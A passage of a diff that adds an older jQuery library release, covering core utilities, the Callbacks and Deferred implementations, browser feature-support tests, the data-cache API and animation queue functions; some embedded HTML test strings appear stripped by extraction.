elems[ i ], i ); + if ( inv !== retVal ) { + ret.push( elems[ i ] ); + } + } + + return ret; + }, + + // arg is for internal usage only + map: function( elems, callback, arg ) { + var value, key, ret = [], + i = 0, + length = elems.length, + // jquery objects are treated as arrays + isArray = elems instanceof jQuery || length !== undefined && typeof length === "number" && ( ( length > 0 && elems[ 0 ] && elems[ length -1 ] ) || length === 0 || jQuery.isArray( elems ) ) ; + + // Go through the array, translating each of the items to their + if ( isArray ) { + for ( ; i < length; i++ ) { + value = callback( elems[ i ], i, arg ); + + if ( value != null ) { + ret[ ret.length ] = value; + } + } + + // Go through every key on the object, + } else { + for ( key in elems ) { + value = callback( elems[ key ], key, arg ); + + if ( value != null ) { + ret[ ret.length ] = value; + } + } + } + + // Flatten any nested arrays + return ret.concat.apply( [], ret ); + }, + + // A global GUID counter for objects + guid: 1, + + // Bind a function to a context, optionally partially applying any + // arguments. + proxy: function( fn, context ) { + if ( typeof context === "string" ) { + var tmp = fn[ context ]; + context = fn; + fn = tmp; + } + + // Quick check to determine if target is callable, in the spec + // this throws a TypeError, but we will just return undefined. + if ( !jQuery.isFunction( fn ) ) { + return undefined; + } + + // Simulated bind + var args = slice.call( arguments, 2 ), + proxy = function() { + return fn.apply( context, args.concat( slice.call( arguments ) ) ); + }; + + // Set the guid of unique handler to the same of original handler, so it can be removed + proxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++; + + return proxy; + }, + + // Mutifunctional method to get and set values to a collection + // The value/s can optionally be executed if it's a function + access: function( elems, key, value, exec, fn, pass ) { + var length = elems.length; + + // Setting many attributes + if ( typeof key === "object" ) { + for ( var k in key ) { + jQuery.access( elems, k, key[k], exec, fn, value ); + } + return elems; + } + + // Setting one attribute + if ( value !== undefined ) { + // Optionally, function values get executed if exec is true + exec = !pass && exec && jQuery.isFunction(value); + + for ( var i = 0; i < length; i++ ) { + fn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass ); + } + + return elems; + } + + // Getting an attribute + return length ? fn( elems[0], key ) : undefined; + }, + + now: function() { + return ( new Date() ).getTime(); + }, + + // Use of jQuery.browser is frowned upon. + // More details: http://docs.jquery.com/Utilities/jQuery.browser + uaMatch: function( ua ) { + ua = ua.toLowerCase(); + + var match = rwebkit.exec( ua ) || + ropera.exec( ua ) || + rmsie.exec( ua ) || + ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) || + []; + + return { browser: match[1] || "", version: match[2] || "0" }; + }, + + sub: function() { + function jQuerySub( selector, context ) { + return new jQuerySub.fn.init( selector, context ); + } + jQuery.extend( true, jQuerySub, this ); + jQuerySub.superclass = this; + jQuerySub.fn = jQuerySub.prototype = this(); + jQuerySub.fn.constructor = jQuerySub; + jQuerySub.sub = this.sub; + jQuerySub.fn.init = function init( selector, context ) { + if ( context && context instanceof jQuery && !(context instanceof jQuerySub) ) { + context = jQuerySub( context ); + } + + return jQuery.fn.init.call( this, selector, context, rootjQuerySub ); + }; + jQuerySub.fn.init.prototype = jQuerySub.fn; + var rootjQuerySub = jQuerySub(document); + return jQuerySub; + }, + + browser: {} +}); + +// Populate the class2type map +jQuery.each("Boolean Number String Function Array Date RegExp Object".split(" "), function(i, name) { + class2type[ "[object " + name + "]" ] = name.toLowerCase(); +}); + +browserMatch = jQuery.uaMatch( userAgent ); +if ( browserMatch.browser ) { + jQuery.browser[ browserMatch.browser ] = true; + jQuery.browser.version = browserMatch.version; +} + +// Deprecated, use jQuery.browser.webkit instead +if ( jQuery.browser.webkit ) { + jQuery.browser.safari = true; +} + +// IE doesn't match non-breaking spaces with \s +if ( rnotwhite.test( "\xA0" ) ) { + trimLeft = /^[\s\xA0]+/; + trimRight = /[\s\xA0]+$/; +} + +// All jQuery objects should point back to these +rootjQuery = jQuery(document); + +// Cleanup functions for the document ready method +if ( document.addEventListener ) { + DOMContentLoaded = function() { + document.removeEventListener( "DOMContentLoaded", DOMContentLoaded, false ); + jQuery.ready(); + }; + +} else if ( document.attachEvent ) { + DOMContentLoaded = function() { + // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). + if ( document.readyState === "complete" ) { + document.detachEvent( "onreadystatechange", DOMContentLoaded ); + jQuery.ready(); + } + }; +} + +// The DOM ready check for Internet Explorer +function doScrollCheck() { + if ( jQuery.isReady ) { + return; + } + + try { + // If IE is used, use the trick by Diego Perini + // http://javascript.nwbox.com/IEContentLoaded/ + document.documentElement.doScroll("left"); + } catch(e) { + setTimeout( doScrollCheck, 1 ); + return; + } + + // and execute any waiting functions + jQuery.ready(); +} + +return jQuery; + +})(); + + +// String to Object flags format cache +var flagsCache = {}; + +// Convert String-formatted flags into Object-formatted ones and store in cache +function createFlags( flags ) { + var object = flagsCache[ flags ] = {}, + i, length; + flags = flags.split( /\s+/ ); + for ( i = 0, length = flags.length; i < length; i++ ) { + object[ flags[i] ] = true; + } + return object; +} + +/* + * Create a callback list using the following parameters: + * + * flags: an optional list of space-separated flags that will change how + * the callback list behaves + * + * By default a callback list will act like an event callback list and can be + * "fired" multiple times. + * + * Possible flags: + * + * once: will ensure the callback list can only be fired once (like a Deferred) + * + * memory: will keep track of previous values and will call any callback added + * after the list has been fired right away with the latest "memorized" + * values (like a Deferred) + * + * unique: will ensure a callback can only be added once (no duplicate in the list) + * + * stopOnFalse: interrupt callings when a callback returns false + * + */ +jQuery.Callbacks = function( flags ) { + + // Convert flags from String-formatted to Object-formatted + // (we check in cache first) + flags = flags ? ( flagsCache[ flags ] || createFlags( flags ) ) : {}; + + var // Actual callback list + list = [], + // Stack of fire calls for repeatable lists + stack = [], + // Last fire value (for non-forgettable lists) + memory, + // Flag to know if list is currently firing + firing, + // First callback to fire (used internally by add and fireWith) + firingStart, + // End of the loop when firing + firingLength, + // Index of currently firing callback (modified by remove if needed) + firingIndex, + // Add one or several callbacks to the list + add = function( args ) { + var i, + length, + elem, + type, + actual; + for ( i = 0, length = args.length; i < length; i++ ) { + elem = args[ i ]; + type = jQuery.type( elem ); + if ( type === "array" ) { + // Inspect recursively + add( elem ); + } else if ( type === "function" ) { + // Add if not in unique mode and callback is not in + if ( !flags.unique || !self.has( elem ) ) { + list.push( elem ); + } + } + } + }, + // Fire callbacks + fire = function( context, args ) { + args = args || []; + memory = !flags.memory || [ context, args ]; + firing = true; + firingIndex = firingStart || 0; + firingStart = 0; + firingLength = list.length; + for ( ; list && firingIndex < firingLength; firingIndex++ ) { + if ( list[ firingIndex ].apply( context, args ) === false && flags.stopOnFalse ) { + memory = true; // Mark as halted + break; + } + } + firing = false; + if ( list ) { + if ( !flags.once ) { + if ( stack && stack.length ) { + memory = stack.shift(); + self.fireWith( memory[ 0 ], memory[ 1 ] ); + } + } else if ( memory === true ) { + self.disable(); + } else { + list = []; + } + } + }, + // Actual Callbacks object + self = { + // Add a callback or a collection of callbacks to the list + add: function() { + if ( list ) { + var length = list.length; + add( arguments ); + // Do we need to add the callbacks to the + // current firing batch? + if ( firing ) { + firingLength = list.length; + // With memory, if we're not firing then + // we should call right away, unless previous + // firing was halted (stopOnFalse) + } else if ( memory && memory !== true ) { + firingStart = length; + fire( memory[ 0 ], memory[ 1 ] ); + } + } + return this; + }, + // Remove a callback from the list + remove: function() { + if ( list ) { + var args = arguments, + argIndex = 0, + argLength = args.length; + for ( ; argIndex < argLength ; argIndex++ ) { + for ( var i = 0; i < list.length; i++ ) { + if ( args[ argIndex ] === list[ i ] ) { + // Handle firingIndex and firingLength + if ( firing ) { + if ( i <= firingLength ) { + firingLength--; + if ( i <= firingIndex ) { + firingIndex--; + } + } + } + // Remove the element + list.splice( i--, 1 ); + // If we have some unicity property then + // we only need to do this once + if ( flags.unique ) { + break; + } + } + } + } + } + return this; + }, + // Control if a given callback is in the list + has: function( fn ) { + if ( list ) { + var i = 0, + length = list.length; + for ( ; i < length; i++ ) { + if ( fn === list[ i ] ) { + return true; + } + } + } + return false; + }, + // Remove all callbacks from the list + empty: function() { + list = []; + return this; + }, + // Have the list do nothing anymore + disable: function() { + list = stack = memory = undefined; + return this; + }, + // Is it disabled? + disabled: function() { + return !list; + }, + // Lock the list in its current state + lock: function() { + stack = undefined; + if ( !memory || memory === true ) { + self.disable(); + } + return this; + }, + // Is it locked? + locked: function() { + return !stack; + }, + // Call all callbacks with the given context and arguments + fireWith: function( context, args ) { + if ( stack ) { + if ( firing ) { + if ( !flags.once ) { + stack.push( [ context, args ] ); + } + } else if ( !( flags.once && memory ) ) { + fire( context, args ); + } + } + return this; + }, + // Call all the callbacks with the given arguments + fire: function() { + self.fireWith( this, arguments ); + return this; + }, + // To know if the callbacks have already been called at least once + fired: function() { + return !!memory; + } + }; + + return self; +}; + + + + +var // Static reference to slice + sliceDeferred = [].slice; + +jQuery.extend({ + + Deferred: function( func ) { + var doneList = jQuery.Callbacks( "once memory" ), + failList = jQuery.Callbacks( "once memory" ), + progressList = jQuery.Callbacks( "memory" ), + state = "pending", + lists = { + resolve: doneList, + reject: failList, + notify: progressList + }, + promise = { + done: doneList.add, + fail: failList.add, + progress: progressList.add, + + state: function() { + return state; + }, + + // Deprecated + isResolved: doneList.fired, + isRejected: failList.fired, + + then: function( doneCallbacks, failCallbacks, progressCallbacks ) { + deferred.done( doneCallbacks ).fail( failCallbacks ).progress( progressCallbacks ); + return this; + }, + always: function() { + deferred.done.apply( deferred, arguments ).fail.apply( deferred, arguments ); + return this; + }, + pipe: function( fnDone, fnFail, fnProgress ) { + return jQuery.Deferred(function( newDefer ) { + jQuery.each( { + done: [ fnDone, "resolve" ], + fail: [ fnFail, "reject" ], + progress: [ fnProgress, "notify" ] + }, function( handler, data ) { + var fn = data[ 0 ], + action = data[ 1 ], + returned; + if ( jQuery.isFunction( fn ) ) { + deferred[ handler ](function() { + returned = fn.apply( this, arguments ); + if ( returned && jQuery.isFunction( returned.promise ) ) { + returned.promise().then( newDefer.resolve, newDefer.reject, newDefer.notify ); + } else { + newDefer[ action + "With" ]( this === deferred ? newDefer : this, [ returned ] ); + } + }); + } else { + deferred[ handler ]( newDefer[ action ] ); + } + }); + }).promise(); + }, + // Get a promise for this deferred + // If obj is provided, the promise aspect is added to the object + promise: function( obj ) { + if ( obj == null ) { + obj = promise; + } else { + for ( var key in promise ) { + obj[ key ] = promise[ key ]; + } + } + return obj; + } + }, + deferred = promise.promise({}), + key; + + for ( key in lists ) { + deferred[ key ] = lists[ key ].fire; + deferred[ key + "With" ] = lists[ key ].fireWith; + } + + // Handle state + deferred.done( function() { + state = "resolved"; + }, failList.disable, progressList.lock ).fail( function() { + state = "rejected"; + }, doneList.disable, progressList.lock ); + + // Call given func if any + if ( func ) { + func.call( deferred, deferred ); + } + + // All done! + return deferred; + }, + + // Deferred helper + when: function( firstParam ) { + var args = sliceDeferred.call( arguments, 0 ), + i = 0, + length = args.length, + pValues = new Array( length ), + count = length, + pCount = length, + deferred = length <= 1 && firstParam && jQuery.isFunction( firstParam.promise ) ? + firstParam : + jQuery.Deferred(), + promise = deferred.promise(); + function resolveFunc( i ) { + return function( value ) { + args[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value; + if ( !( --count ) ) { + deferred.resolveWith( deferred, args ); + } + }; + } + function progressFunc( i ) { + return function( value ) { + pValues[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value; + deferred.notifyWith( promise, pValues ); + }; + } + if ( length > 1 ) { + for ( ; i < length; i++ ) { + if ( args[ i ] && args[ i ].promise && jQuery.isFunction( args[ i ].promise ) ) { + args[ i ].promise().then( resolveFunc(i), deferred.reject, progressFunc(i) ); + } else { + --count; + } + } + if ( !count ) { + deferred.resolveWith( deferred, args ); + } + } else if ( deferred !== firstParam ) { + deferred.resolveWith( deferred, length ? [ firstParam ] : [] ); + } + return promise; + } +}); + + + + +jQuery.support = (function() { + + var support, + all, + a, + select, + opt, + input, + marginDiv, + fragment, + tds, + events, + eventName, + i, + isSupported, + div = document.createElement( "div" ), + documentElement = document.documentElement; + + // Preliminary tests + div.setAttribute("className", "t"); + div.innerHTML = "
a"; + + all = div.getElementsByTagName( "*" ); + a = div.getElementsByTagName( "a" )[ 0 ]; + + // Can't get basic test support + if ( !all || !all.length || !a ) { + return {}; + } + + // First batch of supports tests + select = document.createElement( "select" ); + opt = select.appendChild( document.createElement("option") ); + input = div.getElementsByTagName( "input" )[ 0 ]; + + support = { + // IE strips leading whitespace when .innerHTML is used + leadingWhitespace: ( div.firstChild.nodeType === 3 ), + + // Make sure that tbody elements aren't automatically inserted + // IE will insert them into empty tables + tbody: !div.getElementsByTagName("tbody").length, + + // Make sure that link elements get serialized correctly by innerHTML + // This requires a wrapper element in IE + htmlSerialize: !!div.getElementsByTagName("link").length, + + // Get the style information from getAttribute + // (IE uses .cssText instead) + style: /top/.test( a.getAttribute("style") ), + + // Make sure that URLs aren't manipulated + // (IE normalizes it by default) + hrefNormalized: ( a.getAttribute("href") === "/a" ), + + // Make sure that element opacity exists + // (IE uses filter instead) + // Use a regex to work around a WebKit issue. See #5145 + opacity: /^0.55/.test( a.style.opacity ), + + // Verify style float existence + // (IE uses styleFloat instead of cssFloat) + cssFloat: !!a.style.cssFloat, + + // Make sure that if no value is specified for a checkbox + // that it defaults to "on". + // (WebKit defaults to "" instead) + checkOn: ( input.value === "on" ), + + // Make sure that a selected-by-default option has a working selected property. + // (WebKit defaults to false instead of true, IE too, if it's in an optgroup) + optSelected: opt.selected, + + // Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7) + getSetAttribute: div.className !== "t", + + // Tests for enctype support on a form(#6743) + enctype: !!document.createElement("form").enctype, + + // Makes sure cloning an html5 element does not cause problems + // Where outerHTML is undefined, this still works + html5Clone: document.createElement("nav").cloneNode( true ).outerHTML !== "<:nav>", + + // Will be defined later + submitBubbles: true, + changeBubbles: true, + focusinBubbles: false, + deleteExpando: true, + noCloneEvent: true, + inlineBlockNeedsLayout: false, + shrinkWrapBlocks: false, + reliableMarginRight: true + }; + + // Make sure checked status is properly cloned + input.checked = true; + support.noCloneChecked = input.cloneNode( true ).checked; + + // Make sure that the options inside disabled selects aren't marked as disabled + // (WebKit marks them as disabled) + select.disabled = true; + support.optDisabled = !opt.disabled; + + // Test to see if it's possible to delete an expando from an element + // Fails in Internet Explorer + try { + delete div.test; + } catch( e ) { + support.deleteExpando = false; + } + + if ( !div.addEventListener && div.attachEvent && div.fireEvent ) { + div.attachEvent( "onclick", function() { + // Cloning a node shouldn't copy over any + // bound event handlers (IE does this) + support.noCloneEvent = false; + }); + div.cloneNode( true ).fireEvent( "onclick" ); + } + + // Check if a radio maintains its value + // after being appended to the DOM + input = document.createElement("input"); + input.value = "t"; + input.setAttribute("type", "radio"); + support.radioValue = input.value === "t"; + + input.setAttribute("checked", "checked"); + div.appendChild( input ); + fragment = document.createDocumentFragment(); + fragment.appendChild( div.lastChild ); + + // WebKit doesn't clone checked state correctly in fragments + support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked; + + // Check if a disconnected checkbox will retain its checked + // value of true after appended to the DOM (IE6/7) + support.appendChecked = input.checked; + + fragment.removeChild( input ); + fragment.appendChild( div ); + + div.innerHTML = ""; + + // Check if div with explicit width and no margin-right incorrectly + // gets computed margin-right based on width of container. For more + // info see bug #3333 + // Fails in WebKit before Feb 2011 nightlies + // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right + if ( window.getComputedStyle ) { + marginDiv = document.createElement( "div" ); + marginDiv.style.width = "0"; + marginDiv.style.marginRight = "0"; + div.style.width = "2px"; + div.appendChild( marginDiv ); + support.reliableMarginRight = + ( parseInt( ( window.getComputedStyle( marginDiv, null ) || { marginRight: 0 } ).marginRight, 10 ) || 0 ) === 0; + } + + // Technique from Juriy Zaytsev + // http://perfectionkills.com/detecting-event-support-without-browser-sniffing/ + // We only care about the case where non-standard event systems + // are used, namely in IE. Short-circuiting here helps us to + // avoid an eval call (in setAttribute) which can cause CSP + // to go haywire. See: https://developer.mozilla.org/en/Security/CSP + if ( div.attachEvent ) { + for( i in { + submit: 1, + change: 1, + focusin: 1 + }) { + eventName = "on" + i; + isSupported = ( eventName in div ); + if ( !isSupported ) { + div.setAttribute( eventName, "return;" ); + isSupported = ( typeof div[ eventName ] === "function" ); + } + support[ i + "Bubbles" ] = isSupported; + } + } + + fragment.removeChild( div ); + + // Null elements to avoid leaks in IE + fragment = select = opt = marginDiv = div = input = null; + + // Run tests that need a body at doc ready + jQuery(function() { + var container, outer, inner, table, td, offsetSupport, + conMarginTop, ptlm, vb, style, html, + body = document.getElementsByTagName("body")[0]; + + if ( !body ) { + // Return for frameset docs that don't have a body + return; + } + + conMarginTop = 1; + ptlm = "position:absolute;top:0;left:0;width:1px;height:1px;margin:0;"; + vb = "visibility:hidden;border:0;"; + style = "style='" + ptlm + "border:5px solid #000;padding:0;'"; + html = "
" + + "" + + "
"; + + container = document.createElement("div"); + container.style.cssText = vb + "width:0;height:0;position:static;top:0;margin-top:" + conMarginTop + "px"; + body.insertBefore( container, body.firstChild ); + + // Construct the test element + div = document.createElement("div"); + container.appendChild( div ); + + // Check if table cells still have offsetWidth/Height when they are set + // to display:none and there are still other visible table cells in a + // table row; if so, offsetWidth/Height are not reliable for use when + // determining if an element has been hidden directly using + // display:none (it is still safe to use offsets if a parent element is + // hidden; don safety goggles and see bug #4512 for more information). + // (only IE 8 fails this test) + div.innerHTML = "
t
"; + tds = div.getElementsByTagName( "td" ); + isSupported = ( tds[ 0 ].offsetHeight === 0 ); + + tds[ 0 ].style.display = ""; + tds[ 1 ].style.display = "none"; + + // Check if empty table cells still have offsetWidth/Height + // (IE <= 8 fail this test) + support.reliableHiddenOffsets = isSupported && ( tds[ 0 ].offsetHeight === 0 ); + + // Figure out if the W3C box model works as expected + div.innerHTML = ""; + div.style.width = div.style.paddingLeft = "1px"; + jQuery.boxModel = support.boxModel = div.offsetWidth === 2; + + if ( typeof div.style.zoom !== "undefined" ) { + // Check if natively block-level elements act like inline-block + // elements when setting their display to 'inline' and giving + // them layout + // (IE < 8 does this) + div.style.display = "inline"; + div.style.zoom = 1; + support.inlineBlockNeedsLayout = ( div.offsetWidth === 2 ); + + // Check if elements with layout shrink-wrap their children + // (IE 6 does this) + div.style.display = ""; + div.innerHTML = "
"; + support.shrinkWrapBlocks = ( div.offsetWidth !== 2 ); + } + + div.style.cssText = ptlm + vb; + div.innerHTML = html; + + outer = div.firstChild; + inner = outer.firstChild; + td = outer.nextSibling.firstChild.firstChild; + + offsetSupport = { + doesNotAddBorder: ( inner.offsetTop !== 5 ), + doesAddBorderForTableAndCells: ( td.offsetTop === 5 ) + }; + + inner.style.position = "fixed"; + inner.style.top = "20px"; + + // safari subtracts parent border width here which is 5px + offsetSupport.fixedPosition = ( inner.offsetTop === 20 || inner.offsetTop === 15 ); + inner.style.position = inner.style.top = ""; + + outer.style.overflow = "hidden"; + outer.style.position = "relative"; + + offsetSupport.subtractsBorderForOverflowNotVisible = ( inner.offsetTop === -5 ); + offsetSupport.doesNotIncludeMarginInBodyOffset = ( body.offsetTop !== conMarginTop ); + + body.removeChild( container ); + div = container = null; + + jQuery.extend( support, offsetSupport ); + }); + + return support; +})(); + + + + +var rbrace = /^(?:\{.*\}|\[.*\])$/, + rmultiDash = /([A-Z])/g; + +jQuery.extend({ + cache: {}, + + // Please use with caution + uuid: 0, + + // Unique for each copy of jQuery on the page + // Non-digits removed to match rinlinejQuery + expando: "jQuery" + ( jQuery.fn.jquery + Math.random() ).replace( /\D/g, "" ), + + // The following elements throw uncatchable exceptions if you + // attempt to add expando properties to them. + noData: { + "embed": true, + // Ban all objects except for Flash (which handle expandos) + "object": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000", + "applet": true + }, + + hasData: function( elem ) { + elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ]; + return !!elem && !isEmptyDataObject( elem ); + }, + + data: function( elem, name, data, pvt /* Internal Use Only */ ) { + if ( !jQuery.acceptData( elem ) ) { + return; + } + + var privateCache, thisCache, ret, + internalKey = jQuery.expando, + getByName = typeof name === "string", + + // We have to handle DOM nodes and JS objects differently because IE6-7 + // can't GC object references properly across the DOM-JS boundary + isNode = elem.nodeType, + + // Only DOM nodes need the global jQuery cache; JS object data is + // attached directly to the object so GC can occur automatically + cache = isNode ? jQuery.cache : elem, + + // Only defining an ID for JS objects if its cache already exists allows + // the code to shortcut on the same path as a DOM node with no cache + id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey, + isEvents = name === "events"; + + // Avoid doing any more work than we need to when trying to get data on an + // object that has no data at all + if ( (!id || !cache[id] || (!isEvents && !pvt && !cache[id].data)) && getByName && data === undefined ) { + return; + } + + if ( !id ) { + // Only DOM nodes need a new unique ID for each element since their data + // ends up in the global cache + if ( isNode ) { + elem[ internalKey ] = id = ++jQuery.uuid; + } else { + id = internalKey; + } + } + + if ( !cache[ id ] ) { + cache[ id ] = {}; + + // Avoids exposing jQuery metadata on plain JS objects when the object + // is serialized using JSON.stringify + if ( !isNode ) { + cache[ id ].toJSON = jQuery.noop; + } + } + + // An object can be passed to jQuery.data instead of a key/value pair; this gets + // shallow copied over onto the existing cache + if ( typeof name === "object" || typeof name === "function" ) { + if ( pvt ) { + cache[ id ] = jQuery.extend( cache[ id ], name ); + } else { + cache[ id ].data = jQuery.extend( cache[ id ].data, name ); + } + } + + privateCache = thisCache = cache[ id ]; + + // jQuery data() is stored in a separate object inside the object's internal data + // cache in order to avoid key collisions between internal data and user-defined + // data. + if ( !pvt ) { + if ( !thisCache.data ) { + thisCache.data = {}; + } + + thisCache = thisCache.data; + } + + if ( data !== undefined ) { + thisCache[ jQuery.camelCase( name ) ] = data; + } + + // Users should not attempt to inspect the internal events object using jQuery.data, + // it is undocumented and subject to change. But does anyone listen? No. + if ( isEvents && !thisCache[ name ] ) { + return privateCache.events; + } + + // Check for both converted-to-camel and non-converted data property names + // If a data property was specified + if ( getByName ) { + + // First Try to find as-is property data + ret = thisCache[ name ]; + + // Test for null|undefined property data + if ( ret == null ) { + + // Try to find the camelCased property + ret = thisCache[ jQuery.camelCase( name ) ]; + } + } else { + ret = thisCache; + } + + return ret; + }, + + removeData: function( elem, name, pvt /* Internal Use Only */ ) { + if ( !jQuery.acceptData( elem ) ) { + return; + } + + var thisCache, i, l, + + // Reference to internal data cache key + internalKey = jQuery.expando, + + isNode = elem.nodeType, + + // See jQuery.data for more information + cache = isNode ? jQuery.cache : elem, + + // See jQuery.data for more information + id = isNode ? elem[ internalKey ] : internalKey; + + // If there is already no cache entry for this object, there is no + // purpose in continuing + if ( !cache[ id ] ) { + return; + } + + if ( name ) { + + thisCache = pvt ? cache[ id ] : cache[ id ].data; + + if ( thisCache ) { + + // Support array or space separated string names for data keys + if ( !jQuery.isArray( name ) ) { + + // try the string as a key before any manipulation + if ( name in thisCache ) { + name = [ name ]; + } else { + + // split the camel cased version by spaces unless a key with the spaces exists + name = jQuery.camelCase( name ); + if ( name in thisCache ) { + name = [ name ]; + } else { + name = name.split( " " ); + } + } + } + + for ( i = 0, l = name.length; i < l; i++ ) { + delete thisCache[ name[i] ]; + } + + // If there is no data left in the cache, we want to continue + // and let the cache object itself get destroyed + if ( !( pvt ? isEmptyDataObject : jQuery.isEmptyObject )( thisCache ) ) { + return; + } + } + } + + // See jQuery.data for more information + if ( !pvt ) { + delete cache[ id ].data; + + // Don't destroy the parent cache unless the internal data object + // had been the only thing left in it + if ( !isEmptyDataObject(cache[ id ]) ) { + return; + } + } + + // Browsers that fail expando deletion also refuse to delete expandos on + // the window, but it will allow it on all other JS objects; other browsers + // don't care + // Ensure that `cache` is not a window object #10080 + if ( jQuery.support.deleteExpando || !cache.setInterval ) { + delete cache[ id ]; + } else { + cache[ id ] = null; + } + + // We destroyed the cache and need to eliminate the expando on the node to avoid + // false lookups in the cache for entries that no longer exist + if ( isNode ) { + // IE does not allow us to delete expando properties from nodes, + // nor does it have a removeAttribute function on Document nodes; + // we must handle all of these cases + if ( jQuery.support.deleteExpando ) { + delete elem[ internalKey ]; + } else if ( elem.removeAttribute ) { + elem.removeAttribute( internalKey ); + } else { + elem[ internalKey ] = null; + } + } + }, + + // For internal use only. + _data: function( elem, name, data ) { + return jQuery.data( elem, name, data, true ); + }, + + // A method for determining if a DOM node can handle the data expando + acceptData: function( elem ) { + if ( elem.nodeName ) { + var match = jQuery.noData[ elem.nodeName.toLowerCase() ]; + + if ( match ) { + return !(match === true || elem.getAttribute("classid") !== match); + } + } + + return true; + } +}); + +jQuery.fn.extend({ + data: function( key, value ) { + var parts, attr, name, + data = null; + + if ( typeof key === "undefined" ) { + if ( this.length ) { + data = jQuery.data( this[0] ); + + if ( this[0].nodeType === 1 && !jQuery._data( this[0], "parsedAttrs" ) ) { + attr = this[0].attributes; + for ( var i = 0, l = attr.length; i < l; i++ ) { + name = attr[i].name; + + if ( name.indexOf( "data-" ) === 0 ) { + name = jQuery.camelCase( name.substring(5) ); + + dataAttr( this[0], name, data[ name ] ); + } + } + jQuery._data( this[0], "parsedAttrs", true ); + } + } + + return data; + + } else if ( typeof key === "object" ) { + return this.each(function() { + jQuery.data( this, key ); + }); + } + + parts = key.split("."); + parts[1] = parts[1] ? "." + parts[1] : ""; + + if ( value === undefined ) { + data = this.triggerHandler("getData" + parts[1] + "!", [parts[0]]); + + // Try to fetch any internally stored data first + if ( data === undefined && this.length ) { + data = jQuery.data( this[0], key ); + data = dataAttr( this[0], key, data ); + } + + return data === undefined && parts[1] ? + this.data( parts[0] ) : + data; + + } else { + return this.each(function() { + var self = jQuery( this ), + args = [ parts[0], value ]; + + self.triggerHandler( "setData" + parts[1] + "!", args ); + jQuery.data( this, key, value ); + self.triggerHandler( "changeData" + parts[1] + "!", args ); + }); + } + }, + + removeData: function( key ) { + return this.each(function() { + jQuery.removeData( this, key ); + }); + } +}); + +function dataAttr( elem, key, data ) { + // If nothing was found internally, try to fetch any + // data from the HTML5 data-* attribute + if ( data === undefined && elem.nodeType === 1 ) { + + var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase(); + + data = elem.getAttribute( name ); + + if ( typeof data === "string" ) { + try { + data = data === "true" ? true : + data === "false" ? false : + data === "null" ? null : + jQuery.isNumeric( data ) ? parseFloat( data ) : + rbrace.test( data ) ? jQuery.parseJSON( data ) : + data; + } catch( e ) {} + + // Make sure we set the data so it isn't changed later + jQuery.data( elem, key, data ); + + } else { + data = undefined; + } + } + + return data; +} + +// checks a cache object for emptiness +function isEmptyDataObject( obj ) { + for ( var name in obj ) { + + // if the public data object is empty, the private is still empty + if ( name === "data" && jQuery.isEmptyObject( obj[name] ) ) { + continue; + } + if ( name !== "toJSON" ) { + return false; + } + } + + return true; +} + + + + +function handleQueueMarkDefer( elem, type, src ) { + var deferDataKey = type + "defer", + queueDataKey = type + "queue", + markDataKey = type + "mark", + defer = jQuery._data( elem, deferDataKey ); + if ( defer && + ( src === "queue" || !jQuery._data(elem, queueDataKey) ) && + ( src === "mark" || !jQuery._data(elem, markDataKey) ) ) { + // Give room for hard-coded callbacks to fire first + // and eventually mark/queue something else on the element + setTimeout( function() { + if ( !jQuery._data( elem, queueDataKey ) && + !jQuery._data( elem, markDataKey ) ) { + jQuery.removeData( elem, deferDataKey, true ); + defer.fire(); + } + }, 0 ); + } +} + +jQuery.extend({ + + _mark: function( elem, type ) { + if ( elem ) { + type = ( type || "fx" ) + "mark"; + jQuery._data( elem, type, (jQuery._data( elem, type ) || 0) + 1 ); + } + }, + + _unmark: function( force, elem, type ) { + if ( force !== true ) { + type = elem; + elem = force; + force = false; + } + if ( elem ) { + type = type || "fx"; + var key = type + "mark", + count = force ? 0 : ( (jQuery._data( elem, key ) || 1) - 1 ); + if ( count ) { + jQuery._data( elem, key, count ); + } else { + jQuery.removeData( elem, key, true ); + handleQueueMarkDefer( elem, type, "mark" ); + } + } + }, + + queue: function( elem, type, data ) { + var q; + if ( elem ) { + type = ( type || "fx" ) + "queue"; + q = jQuery._data( elem, type ); + + // Speed up dequeue by getting out quickly if this is just a lookup + if ( data ) { + if ( !q || jQuery.isArray(data) ) { + q = jQuery._data( elem, type, jQuery.makeArray(data) ); + } else { + q.push( data ); + } + } + return q || []; + } + }, + + dequeue: function( elem, type ) { + type = type || "fx"; + + var queue = jQuery.queue( elem, type ), + fn = queue.shift(), + hooks = {}; + + // If the fx queue is dequeued, always remove the progress sentinel + if ( fn === "inprogress" ) { + fn = queue.shift(); + } + + if ( fn ) { + // Add a progress sentinel to prevent the fx queue from being + // automatically dequeued + if ( type === "fx" ) { + queue.unshift( "inprogress" ); + } + + jQuery._data( elem, type + ".run", hooks ); + fn.call( elem, function() { + jQuery.dequeue( elem, type ); + }, hooks ); + } + + if ( !queue.length ) { + jQuery.removeData( elem, type + "queue " + type + ".run", true ); + handleQueueMarkDefer( elem, type, "queue" ); + } + } +}); + +jQuery.fn.extend({ + queue: function( type, data ) { + if ( typeof type !== "string" ) { + data = type; + type = "fx"; + } + + if ( data === undefined ) { + return jQuery.queue( this[0], type ); + } + return this.each(function() { + var queue = jQuery.queue( this, type, data ); + + if ( type === "fx" && queue[0] !== "inprogress" ) { + jQuery.dequeue( this, type ); + } + }); + }, + dequeue: function( type ) { + return this.each(function() { + jQuery.dequeue( this, type ); + }); + }, + // Based off of the plugin by Clint Helfers, with permission. + // http://blindsignals.com/index.php/2009/07/jquery-delay/ + delay: function( time, type ) { + time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; + type = type || "fx"; + + return this.queue( type, function( next, hooks ) { + var timeout = setTimeout( next, time ); + hooks.stop = function() { + clearTimeout( timeout ); + }; + }); + }, + clearQueue: function( type ) { + return this.queue( type || "fx", [] ); + }, + // Get a promise resolved when 